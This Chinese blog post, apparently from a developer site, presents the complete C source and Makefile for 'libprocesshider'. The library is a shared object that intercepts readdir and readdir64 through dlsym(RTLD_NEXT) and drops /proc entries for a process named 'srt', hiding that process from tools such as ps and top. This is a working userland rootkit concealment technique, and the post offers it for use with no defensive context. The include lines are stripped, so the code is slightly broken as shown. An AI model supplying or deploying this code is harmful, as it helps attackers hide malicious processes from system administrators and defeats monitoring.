linux隐藏特定进程,linux 隐藏进程

本文介绍了一个简单的进程隐藏技术实现方案,通过修改readir函数的行为来过滤指定名称的进程,使其在进程列表中不可见。该方案适用于Linux环境,并提供了完整的源代码及编译指令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2、源码如下

root@ubuntu:/var/srt/libprocesshider# cat processhider.c

#define _GNU_SOURCE

#include

#include

#include

#include

#include

/*

* Every process with this name will be excluded

*/

static const char* process_to_filter = "srt";

/*

* Get a directory name given a DIR* handle

*/

static int get_dir_name(DIR* dirp, char* buf, size_t size)

{

int fd = dirfd(dirp);

if(fd == -1) {

return 0;

}

char tmp[64];

snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);

ssize_t ret = readlink(tmp, buf, size);

if(ret == -1) {

return 0;

}

buf[ret] = 0;

return 1;

}

/*

* Get a process name given its pid

*/

static int get_process_name(char* pid, char* buf)

{

if(strspn(pid, "0123456789") != strlen(pid)) {

return 0;

}

char tmp[256];

snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");

if(f == NULL) {

return 0;

}

if(fgets(tmp, sizeof(tmp), f) == NULL) {

fclose(f);

return 0;

}

fclose(f);

int unused;

sscanf(tmp, "%d (%[^)]s", &unused, buf);

return 1;

}

#define DECLARE_READDIR(dirent, readdir) \

static struct dirent* (*original_##readdir)(DIR*) = NULL; \

\

struct dirent* readdir(DIR *dirp) \

{ \

if(original_##readdir == NULL) { \

original_##readdir = dlsym(RTLD_NEXT, #readdir); \

if(original_##readdir == NULL) \

{ \

fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \

} \

} \

\

struct dirent* dir; \

\

while(1) \

{ \

dir = original_##readdir(dirp); \

if(dir) { \

char dir_name[256]; \

char process_name[256]; \

if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \

strcmp(dir_name, "/proc") == 0 && \

get_process_name(dir->d_name, process_name) && \

strcmp(process_name, process_to_filter) == 0) { \

continue; \

} \

} \

break; \

} \

return dir; \

}

DECLARE_READDIR(dirent64, readdir64);

DECLARE_READDIR(dirent, readdir);

root@ubuntu:/var/srt/libprocesshider#

root@ubuntu:/var/srt/libprocesshider# cat Makefile

all: libprocesshider.so

libprocesshider.so: processhider.c

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl

.PHONY clean:

rm -f libprocesshider.so

root@ubuntu:/var/srt/libprocesshider#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值